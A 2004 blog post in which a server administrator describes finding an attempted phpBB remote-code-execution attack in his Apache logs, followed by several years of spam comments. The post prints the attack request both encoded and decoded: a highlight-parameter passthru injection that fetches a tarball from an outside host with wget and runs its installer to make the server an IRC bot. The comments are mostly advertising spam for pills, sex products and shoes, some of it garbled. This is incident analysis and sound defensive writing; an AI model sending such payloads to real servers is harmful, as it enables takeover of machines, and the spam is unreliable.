phpBB Security Holes
Didn't post about it until now, but I quite quickly found the hole I posted about. There were a few instances of phpBB running on the server, and on a hunch I did some googling which turned up a few recent vulnerabilities. Another clue, which I found later, was a bunch of entries in the apache log like this:
[30/Nov/2004:17:08:23 -0500] "GET /phpBB/viewtopic.php?t=%35&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%63%64%20%2F%74%6D%70%2F%20%3B%20%77%67%65%74%20%66%72%6F%67%67%79%2E%67%6F%2E%72%6F%2F%6D%2E%74%67%7A%3B%20%74%61%72%20%78%7A%76%66%20%6D%2E%74%67%7A%20%3B%20%63%64%20%2E%73%58%3B%20%2E%2F%69%6E%73%74%3B%20%72%6D%20%2D%72%66%20%6D%2E%74%67%7A%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 HTTP/1.1" 200 29331
Which you can only really see the implications of when you decode them:
[30/Nov/2004:17:08:23 -500] "GET /phpBB/viewtopic.php?t=5&rush=echo _START_; cd /tmp/ ; wget froggy.go.ro/m.tgz; tar xzvf m.tgz ; cd .sX; ./inst; rm -rf m.tgz; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 200 29331
Also found the perl script they used to send the request.
I downloaded a copy of m.tgz, and a quick look at it revealed that our server would have become an irc-controlled bot, with a couple of daemons disguised as 'httpd' and 'portsentry' executables (so as not to be too obvious in the 'ps' output) -- except that on Debian, apache shows up as 'apache', so I think I'd have noticed them.
All in all, we were an easy target, but because 'wget' wasn't installed and the attack was automated (i.e. not smart enough to 'apt-get install wget'), we survived. *sigh-of-relief*
Posted by Jason Hildebrand <jason@opensky.ca> Wednesday Dec 8, 2004 at 9:20 AM
Cool Site!
Posted by:
Online Slots
on
Tuesday Jul 11,
2006 at
1:52 PM
Cool!
Posted by:
Online Slots
on
Thursday Jul 13,
2006 at
10:56 AM
15 penis enlargement devices, 10 penis enlargement patches.
Posted by:
Fast size
on
Sunday Dec 10,
2006 at
8:18 PM
15 penis enlargement devices, 10 penis enlargement patches.
Posted by:
Fast size
on
Sunday Dec 10,
2006 at
8:19 PM
Three phrases should be among the most common in our daily usage. They are: Thank you, I am grateful and I appreciate.
Posted by:
penis enlargement
on
Thursday Apr 5,
2007 at
12:32 AM
Three phrases should be among the most common in our daily usage. They are: Thank you, I am grateful and I appreciate.
Posted by:
penis enlargement
on
Thursday Apr 5,
2007 at
12:33 AM
nice site!
Posted by:
http://sthelenscelebritynews.com/tramadol/tramadol-and-vicodin.html
on
Saturday Jun 30,
2007 at
4:11 AM
Sudoku generator is ****** insane u are a dead set legend, good luck in life mate wish u the best! im 15 and my grandparents love u to.
Posted by:
Token
on
Sunday Jul 1,
2007 at
2:28 AM
Hello people!!! I like this site!!! Be Happy!!!!
Posted by:
Ringtone
on
Monday Jul 2,
2007 at
4:13 AM
Very intresting information!!! Cool site!!! Thanks!!!
Posted by:
Ringtone
on
Monday Jul 2,
2007 at
4:14 AM
Nice site!!!
Posted by:
sasa
on
Friday Jul 6,
2007 at
11:48 PM
write more!!!
Posted by:
sasww
on
Friday Jul 6,
2007 at
11:49 PM
come to my site!!!
Posted by:
reta
on
Friday Jul 6,
2007 at
11:50 PM
Hello people!!!
Posted by:
kole
on
Friday Jul 6,
2007 at
11:51 PM
Hello people!!!
Posted by:
kole
on
Friday Jul 6,
2007 at
11:51 PM
I like this site!!!
Posted by:
fsr
on
Friday Jul 6,
2007 at
11:52 PM
Be Happy!!!!
Posted by:
santaaa
on
Friday Jul 6,
2007 at
11:52 PM
Very intresting information!!!
Posted by:
dvsd
on
Friday Jul 6,
2007 at
11:53 PM
!!! Cool site!!!
Posted by:
dvdv
on
Friday Jul 6,
2007 at
11:53 PM
Thanks!!!
Posted by:
fgfd
on
Friday Jul 6,
2007 at
11:54 PM
Nice site!!!
Posted by:
fgghg
on
Friday Jul 6,
2007 at
11:54 PM
write more!!!come to my site
Posted by:
dfsdf
on
Friday Jul 6,
2007 at
11:55 PM
Hello people!!!
Posted by:
sdasf
on
Friday Jul 6,
2007 at
11:55 PM
!!! I like this site!!!
Posted by:
dsds
on
Friday Jul 6,
2007 at
11:56 PM
!!! Be Happy!!!!
Posted by:
qwer
on
Friday Jul 6,
2007 at
11:57 PM
Very intresting information!!!
Posted by:
fsss
on
Friday Jul 6,
2007 at
11:57 PM
Cool site!!! Thanks!!!
Posted by:
ert
on
Friday Jul 6,
2007 at
11:58 PM
casalinche formose filmy gratis suore arrapate ragazze superfighe desidero scopare donna filmati cubane hard inculare un trans foto natiche donne prorompenti favoloso asiatiche ubriache esibizionismo gratuito fiche pelosi calde infermiere galleria tagli maschili video henger bellissimi trans thailandesi desiderare superpoppe masturbate selvaggio tardone live show porno
Posted by:
www
on
Saturday Jul 21,
2007 at
9:59 AM
cool site ford mustang part
2007 ford mustang
2007 dodge nitro
Posted by: sex on Monday Aug 13, 2007 at 4:39 AM
2007 ford mustang
2007 dodge nitro
Posted by: sex on Monday Aug 13, 2007 at 4:39 AM
Great site!
Posted by:
Mike
on
Monday Aug 3,
2009 at
1:42 PM
Good content
Posted by:
Best Penis Enlargement Devices Compare
on
Monday Sep 7,
2009 at
0:30 PM
great site!
Posted by:
Penis Enlargement Devices Reviews
on
Monday Sep 7,
2009 at
0:30 PM
That is a good cotent!
Posted by:
Top Penis Enlargement Devices
on
Monday Sep 7,
2009 at
0:31 PM
Useful information!
Posted by:
Penis Enlargement Devices On The Web.
on
Monday Sep 7,
2009 at
0:31 PM
Great useufl
Posted by:
Top Male Enhancement Patches
on
Monday Sep 7,
2009 at
0:32 PM
Great one!
Posted by:
Top Penis Enhancement Pills Available
on
Monday Sep 7,
2009 at
0:32 PM
Great wonderful!
Posted by:
Top 5 Penis Enlargement Exercises
on
Monday Sep 7,
2009 at
0:32 PM
An amazing site.
Posted by:
SizeGenetics Review
on
Thursday Sep 10,
2009 at
3:26 AM
impressive site!
Posted by:
SizeGenetics Review
on
Thursday Sep 10,
2009 at
3:26 AM
great content with a nice layout.
Posted by:
SizeGenetics Review
on
Thursday Sep 10,
2009 at
3:27 AM
great content with a nice layout.
Posted by:
Penis Enhancement Pills
on
Thursday Nov 12,
2009 at
3:21 AM
great content with a nice layout.
Posted by:
Penis Enlargement Patches Reviews
on
Thursday Nov 12,
2009 at
3:22 AM
great content with a nice layout.
Posted by:
Penis Enlargement Exercise Programs
on
Thursday Nov 12,
2009 at
3:22 AM
Great sitea with great resources.
Posted by:
Penis Enlargement Exercise Programs
on
Monday Nov 16,
2009 at
1:29 AM
Great sitea with great resources.
Posted by:
Penis Enlargement Patches - Which one is the best?
on
Monday Nov 16,
2009 at
1:31 AM
Great site and content!
Posted by:
Penis Enhancement Pills and Penis Enlargement Pills
on
Monday Nov 16,
2009 at
1:33 AM
ee phrases should be among the most common in our daily usage. They are: Thank you, I am grateful and I
Posted by:
Best Penis Enlargement Extenders
on
Monday Nov 16,
2009 at
1:35 AM
w, but I quite quickly found the hole I posted about. There were a few instances of phpBB running on the server, and on a hunch I did some googli
Posted by:
Best Penis Enlargement Stretchers
on
Monday Nov 16,
2009 at
1:36 AM
t I quite quickly found the hole I posted about. There were a few instances of phpBB running on the server, and on a hunch I did some googling which turned up a few recent vulnerabilities. Another clue, which I found l
Posted by:
Penis Enlargement Device Reviews
on
Monday Nov 16,
2009 at
1:36 AM
rver, and on a hunch I did some googling which turned up a few recent vulnerabilities. Another clue, which I found l
Posted by:
Penis Enlargement Device and Extenders Comparisons
on
Monday Nov 16,
2009 at
1:37 AM
Great site and resources!
Posted by:
Top 5 Penis Enlargement Devices
on
Monday Nov 16,
2009 at
1:38 AM
Weight loss resources!
Posted by:
Top 5 Weight Loss Pills
on
Monday Nov 16,
2009 at
1:40 AM
Great site and resources!
Posted by:
Top 5 Weight Loss Products
on
Monday Nov 16,
2009 at
1:41 AM
unch I did some googling which turned up a few recent vulnerabilities. Another clue, which I found
Posted by:
Top Weight Loss Pills In The UK
on
Monday Nov 16,
2009 at
1:41 AM
h turned up a few recent vulnerabilities. Another clue, which I found
Posted by:
Best Weight Loss Pills Reviews
on
Monday Nov 16,
2009 at
1:42 AM
ch turned up a few recent vulnerabilities. Another clue,
Posted by:
Top 5 Diet Pills In The UK
on
Monday Nov 16,
2009 at
1:42 AM
recent vulnerabilities. Another
Posted by:
Top Slimming Tablets Available
on
Monday Nov 16,
2009 at
1:43 AM
ecent vulnerabilities. Another
Posted by:
Slimming Pills Reviews
on
Monday Nov 16,
2009 at
1:43 AM
t I quite quickly found the hole I posted about. There were a few insta
Posted by:
Top 5 Weight Loss Products Reviews
on
Monday Nov 16,
2009 at
1:44 AM
Great resources on female libido products
Posted by:
Top Female Libido Products
on
Monday Nov 16,
2009 at
1:44 AM
Great resources on semen enhancers
Posted by:
Best Semen Enhancer or Volumepills
on
Monday Nov 16,
2009 at
1:45 AM
Great resources great site
Posted by:
Weight loss resources
on
Sunday Dec 13,
2009 at
5:58 AM
Great resources great site
Posted by:
Fastsize Extender Review
on
Sunday Dec 13,
2009 at
0:36 PM
ee phrases should be among the most common in our daily usage. They are: Thank you, I am grateful and I
ee phrases should be among the most common in our daily usage. They are: Thank you, I am grateful and I
Posted by:
X4Labs Review
on
Sunday Dec 13,
2009 at
0:42 PM
downloaded a copy of m.tgz, and a quick look at it revealed that our server would have become an irc-controlled bot, with a couple of daemons disguised as 'httpd' and 'portsentry' executables (so as not to be too obvious in the 'ps' output) -- except that on Debian, apache shows
Posted by:
FastSize Review
on
Sunday Dec 13,
2009 at
0:44 PM
the great work done by the web master and would like to tell everyone that they should post the great work done by the web master and would like to tell everyone that they should post their interesting comments and should make this blog interesting. Oncetheirthe great work done by the web master and would like to tell everyone that they should post their interesting comments and should make this blog interesting. Once interesting comments and should make this blog interesting. Once
Posted by:
Male Extra Review
on
Tuesday Dec 15,
2009 at
4:54 AM
that they should post their interesting comments and should make this blog in that they should post their interesting comments and should make this blog interesting. Oncetheirthe great work done by the web master and would like to tell everyone that they should post their interesting comments and should make this blog teresting. Oncetheirthe great work done by the web master and would like to tell everyone that they should post their interesting comments and should make this blog
Posted by:
Male Extra Review
on
Tuesday Dec 15,
2009 at
4:55 AM
they should post their interesting comments and should make this blog teresting. Oncetheirthe great they should post their interesting comments and should make this blog teresting. Oncetheirthe great work done by the web master and would like to tell everyone that they should work done by the web master and would like to tell everyone that they should
Posted by:
Male Extra Review
on
Tuesday Dec 15,
2009 at
4:56 AM
View Client and RGS. However there is no multi-monitor suconnected VMwaer View Client and RGS. However there is no multi-monitor suconnected to a VM using VMwaer View Client and RGS. However there is no multi-port which is a big
Posted by:
Penis Enhancement Pills
on
Wednesday Feb 10,
2010 at
2:32 AM
Client and RGS. However there is no multi-monitor suconnected VMwaer View Client and RGS. However there is no multi-monitor suconnected to a VM using
Posted by:
Penis Enhancement Pills
on
Wednesday Feb 10,
2010 at
2:36 AM
. However there i. However there is no multi-monitor suconnected VMwaer View Client and RGS. However s no multi-monitor suconnected VMwaer View Client and RGS. However
Posted by:
Penis Enhancement Patches
on
Wednesday Feb 10,
2010 at
2:40 AM
RGS. However there is no multi-monitor suconnected VMwaer View Client and RGS. However there is no multi-monitor suconnected to a VM using
Posted by:
Penis Enhancement Patches
on
Wednesday Feb 10,
2010 at
2:43 AM
However there is no multi-monitor suconnected VMwaer View Client and RGS. However there is no multi-monitor suconnected to a VM using VMwaer View Client and RGS. However
Posted by:
Penis Enhancement Patches
on
Wednesday Feb 10,
2010 at
2:53 AM
ThinkPad T40 has been awesome. Had for a decent price. There was a problem with the main board about 4 months down the road and customer service couldn't have been better. I spoke with someone in America, and they overnighted everything. The entire process only took 3 days from placing the service call to getting back and running.
Posted by:
Penis Enhancement Pills
on
Wednesday Feb 10,
2010 at
2:55 AM
main board about 4 months down the road and customer service couldn't have been better. I spoke with someone in America, and they overnighted everything. The entire
Posted by:
Pheromone / Attract Woman
on
Saturday Feb 20,
2010 at
7:52 AM
about 4 months down the road and customer service couldn't have been better. I spoke with someone in America, and they overnighted everything. The entire
Posted by:
Breast Enlargement Reviews
on
Saturday Feb 20,
2010 at
7:53 AM
that’s the first time i see this pictures, and they look pretty interesting I would say. I don’t know which generation is today’s iPod, but this looks new to me.
Posted by:
Anti-Aging / Skin Care Reviews
on
Sunday Jun 6,
2010 at
4:14 AM
Hi, I just found your blog - thanks for the good work. Just wanted to let you know that it's not displaying correctly on the BlackBerry Browser (I have a Bold). Either way, I am now on the RSS feed on my home PC, so thanks again!
Posted by:
Hair Remover Reviews
on
Sunday Jun 6,
2010 at
4:18 AM
Very intresting information!!!
Posted by:
Quit Smoking Reviews
on
Sunday Jun 6,
2010 at
4:21 AM
Some days ago I discussed that topic with another guy just with a different result. It s a topic challenging for discussions over and over again. Interesting elements you used for argumentation
Posted by:
Skin Care / Anti-Aging Reviews
on
Sunday Jun 6,
2010 at
4:23 AM
great to post my comments on such a blog. I would great to post my comments on such a blog. I would like to appreciate the great work done by the web master and like to appreciate the great work done by the web master and
Posted by:
Online Pharmacy Reviews
on
Sunday Jun 6,
2010 at
4:26 AM
You do a greait professionwith this post! I love all of them!|A kind of usefultopic.
Posted by:
Auto Responder Software Reviews
on
Sunday Jun 6,
2010 at
4:29 AM
Hi, I just found your blog - thanks for the good work. Just
Posted by:
Hair Growth Reviews
on
Sunday Jun 6,
2010 at
4:30 AM
Great site. Thanks
Posted by:
Web Hosting Reviews
on
Sunday Jun 6,
2010 at
4:43 AM
You do a greait professionwith this post! Thanks.
Posted by:
Human Growth Hormone Reviews
on
Sunday Jun 6,
2010 at
4:47 AM
Sorry for the huge review, but I'm really loving the new toys, and hope this, as well as the excellent reviews some other people have written
Posted by:
Online Forex Reviews
on
Sunday Jun 6,
2010 at
4:48 AM
i like this post!thanks
Posted by:
campionatul mondia de fotbal 2010
on
Tuesday Jun 8,
2010 at
6:14 PM
nice article!
Posted by:
biletul zilei
on
Friday Jun 25,
2010 at
4:38 PM
its a great post!thanks for sharing!
Posted by:
bwin
on
Sunday Jul 4,
2010 at
5:37 PM
I very much impressive to read this post. Great informative, I will go to bookmarking this.
Posted by:
steroids
on
Tuesday Aug 3,
2010 at
2:53 PM
Thanks for sharing.
Posted by:
spybubble review
on
Wednesday Aug 11,
2010 at
10:35 AM
log sites and content centric sites like Digg. Considered a better alternative to submitting a website on blogs, manual social bookmarking is a simple, convenient and hassle-free way of making sure that your site is noticed and marketed in the right circle.
Posted by:
Sizegenetics, x4Labs, ProExtender Penis Enlargement Devices
on
Friday Aug 13,
2010 at
5:47 AM
This is very interesting especially because its about winter wheat. Mosty other blogs tend to be boring. Not at all ordinary, this is actually very interesting probably because its about winter wheat.
Posted by:
Sizegenetics, x4Labs, ProExtender Penis Enlargement Devices
on
Friday Aug 13,
2010 at
5:49 AM
thank you site…
more detailed information on the following sites that I’ve read
Posted by:
Sizegenetics, x4Labs, ProExtender Penis Enlargement Devices
on
Friday Aug 13,
2010 at
5:51 AM
Great thanska lot
Posted by:
Sizegenetics, x4Labs, ProExtender Penis Enlargement Devices
on
Friday Aug 13,
2010 at
5:52 AM
(This oxygen Jordan nike shoes strong sporting activities a nike shox like colorway. light handles the entire quarter nike shox tl, outsole and as well the bottom part within of the nike sb dunks. darkish is place into use as part of your nike shox tl3, mudguard, heel, internal nike dunks, tongue, shoe laces and cheap jordan shoes within of the cheap nike shox. Varsity red-colored accents show up as part of cheap nike shoes, tongue similarly as other minor places near to the nike shoes . I previously stated which i certainly like the oxygen custom nike air force 1 professional Strong. What are you able to think in nike air force 1 to the newest michael jordan shoes? they are provided now at carry out Line. Make self-confident nike air force 1 discover out much more nike air force 1 just following the jump to obtain a increased look. )
Posted by:
nike shox
on
Tuesday Aug 17,
2010 at
10:08 PM
Christian shoes for gorgeous women's is not as general in the States as his Christian Sandals shoes, but also for his distinctively styled handbags. God forgive me, I interviewed Christian Louboutin while wearing a pair of trainers. What remains most identifiably hiphoppish about it is the beat-in-the-body that serves as ground for Classic Christian Louboutin growing-and contradictory-repertoire of lyrical lambaste it leverages.Some of the dressiest elegant Christian Louboutin pumps also feature sparkling rhinestone bands layered along the raised sole and Christian Louboutin heels.
Posted by:
Christian shoes
on
Thursday Aug 26,
2010 at
1:44 AM
UGG Boots is one snowy boot brand which is made of Australian pure wool. It has had over thirty's history. UGG includes except male and female Ugg Bailey Button, sandals, but also the baby shoe. At the first sight of UGG Classic Cardy Boots, people could not fall in love in its stupid cartoon shape at once, but Its thickness, suppleness and leisure win much favor from European and American Stars. UGG Classic Short Boots may let you enjoy the super comfortable warmth in the winter. UGG Sandals blew the prevailing wind continued explosive. Its product line also starts not only to be restricted in the sheep leather boots, gradually increases UGG Classic Tall Boots which is made of the high-quality sheepskin.
Posted by:
UGG BOOTS
on
Thursday Aug 26,
2010 at
1:45 AM
Copyright 2004 Jason Hildebrand <jason@opensky.ca> XML